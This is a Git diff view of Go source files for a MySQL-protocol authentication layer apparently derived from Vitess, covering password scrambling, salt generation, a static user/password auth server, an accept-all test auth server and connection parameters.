// 2. sending the user / password in the clear (using MySQL Cleartext
|
||||||
|
// method). The server then gets access to both user and password, and
|
||||||
|
// can authenticate using any method. If SSL is not used, it means the
|
||||||
|
// password is sent in the clear. That may not be suitable for some
|
||||||
|
// use cases.
|
||||||
|
type AuthServer interface {
|
||||||
|
// AuthMethod returns the authentication method to use for the
|
||||||
|
// given user. If this returns MysqlNativePassword
|
||||||
|
// (mysql_native_password), then ValidateHash() will be
|
||||||
|
// called, and no further roundtrip with the client is
|
||||||
|
// expected. If anything else is returned, Negotiate()
|
||||||
|
// will be called on the connection, and the AuthServer
|
||||||
|
// needs to handle the packets.
|
||||||
|
AuthMethod(user string) (string, error)
|
||||||
|
|
||||||
|
// Salt returns the salt to use for a connection.
|
||||||
|
// It should be 20 bytes of data.
|
||||||
|
// Most implementations should just use mysql.NewSalt().
|
||||||
|
// (this is meant to support a plugin that would use an
|
||||||
|
// existing MySQL server as the source of auth, and just forward
|
||||||
|
// the salt generated by that server).
|
||||||
|
// Do not return zero bytes, as a known salt can be the source
|
||||||
|
// of a crypto attack.
|
||||||
|
Salt() ([]byte, error)
|
||||||
|
|
||||||
|
// ValidateHash validates the data sent by the client matches
|
||||||
|
// what the server computes. It also returns the user data.
|
||||||
|
ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error)
|
||||||
|
|
||||||
|
// Negotiate is called if AuthMethod returns anything else
|
||||||
|
// than MysqlNativePassword. It is handed the connection after the
|
||||||
|
// AuthSwitchRequest packet is sent.
|
||||||
|
// - If the negotiation fails, it should just return an error
|
||||||
|
// (should be a SQLError if possible).
|
||||||
|
// The framework is responsible for writing the Error packet
|
||||||
|
// and closing the connection in that case.
|
||||||
|
// - If the negotiation works, it should return the Getter,
|
||||||
|
// and no error. The framework is responsible for writing the
|
||||||
|
// OK packet.
|
||||||
|
Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// authServers is a registry of AuthServer implementations.
|
||||||
|
var authServers = make(map[string]AuthServer)
|
||||||
|
|
||||||
|
// RegisterAuthServerImpl registers an implementations of AuthServer.
|
||||||
|
func RegisterAuthServerImpl(name string, authServer AuthServer) {
|
||||||
|
if _, ok := authServers[name]; ok {
|
||||||
|
log.Error("AuthServer named %v already exists", name)
|
||||||
|
}
|
||||||
|
authServers[name] = authServer
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewSalt returns a 20 character salt.
|
||||||
|
func NewSalt() ([]byte, error) {
|
||||||
|
salt := make([]byte, 20)
|
||||||
|
if _, err := rand.Read(salt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Salt must be a legal UTF8 string.
|
||||||
|
for i := 0; i < len(salt); i++ {
|
||||||
|
salt[i] &= 0x7f
|
||||||
|
if salt[i] == '\x00' || salt[i] == '$' {
|
||||||
|
salt[i]++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return salt, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScramblePassword computes the hash of the password using 4.1+ method.
|
||||||
|
func ScramblePassword(salt, password []byte) []byte {
|
||||||
|
if len(password) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// stage1Hash = SHA1(password)
|
||||||
|
crypt := sha1.New()
|
||||||
|
crypt.Write(password)
|
||||||
|
stage1 := crypt.Sum(nil)
|
||||||
|
|
||||||
|
// scrambleHash = SHA1(salt + SHA1(stage1Hash))
|
||||||
|
// inner Hash
|
||||||
|
crypt.Reset()
|
||||||
|
crypt.Write(stage1)
|
||||||
|
hash := crypt.Sum(nil)
|
||||||
|
// outer Hash
|
||||||
|
crypt.Reset()
|
||||||
|
crypt.Write(salt)
|
||||||
|
crypt.Write(hash)
|
||||||
|
scramble := crypt.Sum(nil)
|
||||||
|
|
||||||
|
// token = scrambleHash XOR stage1Hash
|
||||||
|
for i := range scramble {
|
||||||
|
scramble[i] ^= stage1[i]
|
||||||
|
}
|
||||||
|
return scramble
|
||||||
|
}
|
||||||
|
|
||||||
|
func isPassScrambleMysqlNativePassword(reply, salt []byte, mysqlNativePassword string) bool {
|
||||||
|
/*
|
||||||
|
SERVER: recv(reply)
|
||||||
|
hash_stage1=xor(reply, sha1(salt,hash))
|
||||||
|
candidate_hash2=sha1(hash_stage1)
|
||||||
|
check(candidate_hash2==hash)
|
||||||
|
*/
|
||||||
|
if len(reply) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if mysqlNativePassword == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(mysqlNativePassword, "*") {
|
||||||
|
mysqlNativePassword = mysqlNativePassword[1:]
|
||||||
|
}
|
||||||
|
|
||||||
|
hash, err := hex.DecodeString(mysqlNativePassword)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// scramble = SHA1(salt+hash)
|
||||||
|
crypt := sha1.New()
|
||||||
|
crypt.Write(salt)
|
||||||
|
crypt.Write(hash)
|
||||||
|
scramble := crypt.Sum(nil)
|
||||||
|
|
||||||
|
// token = scramble XOR stage1Hash
|
||||||
|
for i := range scramble {
|
||||||
|
scramble[i] ^= reply[i]
|
||||||
|
}
|
||||||
|
hashStage1 := scramble
|
||||||
|
|
||||||
|
crypt.Reset()
|
||||||
|
crypt.Write(hashStage1)
|
||||||
|
candidateHash2 := crypt.Sum(nil)
|
||||||
|
|
||||||
|
return bytes.Equal(candidateHash2, hash)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Constants for the dialog plugin.
|
||||||
|
const (
|
||||||
|
mysqlDialogMessage = "Enter password: "
|
||||||
|
|
||||||
|
// Dialog plugin is similar to clear text, but can respond to multiple
|
||||||
|
// prompts in a row. This is not yet implemented.
|
||||||
|
// Follow questions should be prepended with a `cmd` byte:
|
||||||
|
// 0x02 - ordinary question
|
||||||
|
// 0x03 - last question
|
||||||
|
// 0x04 - password question
|
||||||
|
// 0x05 - last password
|
||||||
|
mysqlDialogAskPassword = 0x04
|
||||||
|
)
|
||||||
|
|
||||||
|
// authServerDialogSwitchData is a helper method to return the data
|
||||||
|
// needed in the AuthSwitchRequest packet for the dialog plugin
|
||||||
|
// to ask for a password.
|
||||||
|
func authServerDialogSwitchData() []byte {
|
||||||
|
result := make([]byte, len(mysqlDialogMessage)+2)
|
||||||
|
result[0] = mysqlDialogAskPassword
|
||||||
|
writeNullString(result, 1, mysqlDialogMessage)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// AuthServerReadPacketString is a helper method to read a packet
|
||||||
|
// as a null terminated string. It is used by the mysql_clear_password
|
||||||
|
// and dialog plugins.
|
||||||
|
func AuthServerReadPacketString(c *Conn) (string, error) {
|
||||||
|
// Read a packet, the password is the payload, as a
|
||||||
|
// zero terminated string.
|
||||||
|
data, err := c.ReadPacket()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if len(data) == 0 || data[len(data)-1] != 0 {
|
||||||
|
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "received invalid response packet, datalen=%v", len(data))
|
||||||
|
}
|
||||||
|
return string(data[:len(data)-1]), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// AuthServerNegotiateClearOrDialog will finish a negotiation based on
|
||||||
|
// the method type for the connection. Only supports
|
||||||
|
// MysqlClearPassword and MysqlDialog.
|
||||||
|
func AuthServerNegotiateClearOrDialog(c *Conn, method string) (string, error) {
|
||||||
|
switch method {
|
||||||
|
case MysqlClearPassword:
|
||||||
|
// The password is the next packet in plain text.
|
||||||
|
return AuthServerReadPacketString(c)
|
||||||
|
|
||||||
|
case MysqlDialog:
|
||||||
|
return AuthServerReadPacketString(c)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "unrecognized method: %v", method)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
/*
|
||||||
|
Copyright 2017 Google Inc.
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreedto in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package vmysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
|
||||||
|
querypb "vitess.io/vitess/go/vt/proto/query"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AuthServerNone takes all comers.
|
||||||
|
// It's meant to be used for testing and prototyping.
|
||||||
|
// With this config, you can connect to a local vtgate using
|
||||||
|
// the following command line: 'mysql -P port -h ::'.
|
||||||
|
// It only uses MysqlNativePassword method.
|
||||||
|
type AuthServerNone struct{}
|
||||||
|
|
||||||
|
// AuthMethod is part of the AuthServer interface.
|
||||||
|
// We always return MysqlNativePassword.
|
||||||
|
func (a *AuthServerNone) AuthMethod(user string) (string, error) {
|
||||||
|
return MysqlNativePassword, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Salt makes salt
|
||||||
|
func (a *AuthServerNone) Salt() ([]byte, error) {
|
||||||
|
return NewSalt()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateHash validates hash
|
||||||
|
func (a *AuthServerNone) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
|
||||||
|
return &NoneGetter{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Negotiate is part of the AuthServer interface.
|
||||||
|
// It will never be called.
|
||||||
|
func (a *AuthServerNone) Negotiate(c *Conn, user string, remotAddr net.Addr) (Getter, error) {
|
||||||
|
panic("Negotiate should not be called as AuthMethod returned mysql_native_password")
|
||||||
|
}
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
RegisterAuthServerImpl("none", &AuthServerNone{})
|
||||||
|
}
|
||||||
|
|
||||||
|
// NoneGetter holds the empty string
|
||||||
|
type NoneGetter struct{}
|
||||||
|
|
||||||
|
// Get returns the empty string
|
||||||
|
func (ng *NoneGetter) Get() *querypb.VTGateCallerID {
|
||||||
|
return &querypb.VTGateCallerID{Username: "userData1"}
|
||||||
|
}
|
||||||
@@ -0,0 +1,158 @@
|
|||||||
|
/*
|
||||||
|
Copyright 2017 Google Inc.
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreedto in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package vmysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"flag"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
querypb "vitess.io/vitess/go/vt/proto/query"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
mysqlAuthServerStaticFile = flag.String("mysql_auth_server_static_file", "", "JSON File to read the users/passwords from.")
|
||||||
|
mysqlAuthServerStaticString = flag.String("mysql_auth_server_static_string", "", "JSON representation of the users/passwords config.")
|
||||||
|
mysqlAuthServerStaticReloadInterval = flag.Duration("mysql_auth_static_reload_interval", 0, "Ticker to reload credentials")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
localhostName = "localhost"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AuthServerStatic implements AuthServer using a static configuration.
|
||||||
|
type AuthServerStatic struct {
|
||||||
|
// Method can be set to:
|
||||||
|
// - MysqlNativePassword
|
||||||
|
// - MysqlClearPassword
|
||||||
|
// - MysqlDialog
|
||||||
|
// It defaults to MysqlNativePassword.
|
||||||
|
Method string
|
||||||
|
// This mutex helps us prevent data races between the multiple updates of Entries.
|
||||||
|
mu sync.Mutex
|
||||||
|
// Entries contains the users, passwords and user data.
|
||||||
|
Entries map[string][]*AuthServerStaticEntry
|
||||||
|
}
|
||||||
|
|
||||||
|
// AuthServerStaticEntry stores the values for a given user.
|
||||||
|
type AuthServerStaticEntry struct {
|
||||||
|
// MysqlNativePassword is generated by password hashing methods in MySQL.
|
||||||
|
// These changes are illustrated by changes in the result from the PASSWORD() function
|
||||||
|
// that computes password hash values and in the structure of the user table where passwords are stored.
|
||||||
|
// mysql> SELECT PASSWORD('mypass');
|
||||||
|
// +-------------------------------------------+
|
||||||
|
// | PASSWORD('mypass') |
|
||||||
|
// +-------------------------------------------+
|
||||||
|
// | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
|
||||||
|
// +-------------------------------------------+
|
||||||
|
// MysqlNativePassword's format looks like "*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4", it store a hashing value.
|
||||||
|
// Use MysqlNativePassword in auth config, maybe more secure. After all, it is cryptographic storage.
|
||||||
|
MysqlNativePassword string
|
||||||
|
Password string
|
||||||
|
UserData string
|
||||||
|
SourceHost string
|
||||||
|
Groups []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// AuthMethod is part of the AuthServer interface.
|
||||||
|
func (a *AuthServerStatic) AuthMethod(user string) (string, error) {
|
||||||
|
return a.Method, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Salt is part of the AuthServer interface.
|
||||||
|
func (a *AuthServerStatic) Salt() ([]byte, error) {
|
||||||
|
return NewSalt()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateHash is part of the AuthServer interface.
|
||||||
|
func (a *AuthServerStatic) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
|
||||||
|
a.mu.Lock()
|
||||||
|
entries, ok := a.Entries[user]
|
||||||
|
a.mu.Unlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.MysqlNativePassword != "" {
|
||||||
|
isPass := isPassScrambleMysqlNativePassword(authResponse, salt, entry.MysqlNativePassword)
|
||||||
|
if matchSourceHost(remoteAddr, entry.SourceHost) && isPass {
|
||||||
|
return &StaticUserData{entry.UserData, entry.Groups}, nil
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
computedAuthResponse := ScramblePassword(salt, []byte(entry.Password))
|
||||||
|
// Validate the password.
|
||||||
|
if matchSourceHost(remoteAddr, entry.SourceHost) && bytes.Equal(authResponse, computedAuthResponse) {
|
||||||
|
return &StaticUserData{entry.UserData, entry.Groups}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Negotiate is part of the AuthServer interface.
|
||||||
|
// It will be called if Method is anything else than MysqlNativePassword.
|
||||||
|
// We only recognize MysqlClearPassword and MysqlDialog here.
|
||||||
|
func (a *AuthServerStatic) Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error) {
|
||||||
|
// Finish the negotiation.
|
||||||
|
password, err := AuthServerNegotiateClearOrDialog(c, a.Method)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
a.mu.Lock()
|
||||||
|
entries, ok := a.Entries[user]
|
||||||
|
a.mu.Unlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
// Validate the password.
|
||||||
|
if matchSourceHost(remoteAddr, entry.SourceHost) && entry.Password == password {
|
||||||
|
return &StaticUserData{entry.UserData, entry.Groups}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
|
||||||
|
}
|
||||||
|
|
||||||
|
func matchSourceHost(remoteAddr net.Addr, targetSourceHost string) bool {
|
||||||
|
// Legacy support, there was not matcher defined default to true
|
||||||
|
if targetSourceHost == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
switch remoteAddr.(type) {
|
||||||
|
case *net.UnixAddr:
|
||||||
|
if targetSourceHost == localhostName {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// StaticUserData holds the username and groups
|
||||||
|
type StaticUserData struct {
|
||||||
|
username string
|
||||||
|
groups []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get returns the wrapped username and groups
|
||||||
|
func (sud *StaticUserData) Get() *querypb.VTGateCallerID {
|
||||||
|
return &querypb.VTGateCallerID{Username: sud.username, Groups: sud.groups}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,60 @@
|
|||||||
|
/*
|
||||||
|
Copyright 2017 Google Inc.
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package vmysql
|
||||||
|
|
||||||
|
// ConnParams contains all the parameters to use to connect to mysql.
|
||||||
|
type ConnParams struct {
|
||||||
|
Host string `json:"host"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
Uname string `json:"uname"`
|
||||||
|
Pass string `json:"pass"`
|
||||||
|
DbName string `json:"dbname"`
|
||||||
|
UnixSocket string `json:"unix_socket"`
|
||||||
|
Charset string `json:"charset"`
|
||||||
|
Flags uint64 `json:"flags"`
|
||||||
|
|
||||||
|
// The following SSL flags are only used when flags |= 2048
|
||||||
|
// is set (CapabilityClientSSL).
|
||||||
|
SslCa string `json:"ssl_ca"`
|
||||||
|
SslCaPath string `json:"ssl_ca_path"`
|
||||||
|
SslCert string `json:"ssl_cert"`
|
||||||
|
SslKey string `json:"ssl_key"`
|
||||||
|
ServerName string `json:"server_name"`
|
||||||
|
|
||||||
|
// The following is only set when the deprecated "dbname" flags are
|
||||||
|
// supplied and will be removed.
|
||||||
|
DeprecatedDBName string
|
||||||
|
|
||||||
|
// The following is only set to force the client to connect without
|
||||||
|
// using CapabilityClientDeprecateEOF
|
||||||
|
DisableClientDeprecateEOF bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnableSSL will set the right flag on the parameters.
|
||||||
|
func (cp *ConnParams) EnableSSL() {
|
||||||
|
cp.Flags |= CapabilityClientSSL
|
||||||
|
}
|
||||||
|
|
||||||
|
// SslEnabled returns if SSL is enabled.
|
||||||
|
func (cp *ConnParams) SslEnabled() bool {
|
||||||
|
return (cp.Flags & CapabilityClientSSL) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnableClientFoundRows sets the flag for CLIENT_FOUND_ROWS.
|
||||||
|
func (cp *ConnParams) EnableClientFoundRows() {
|
||||||
|
cp.Flags |= CapabilityClientFoundRows
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user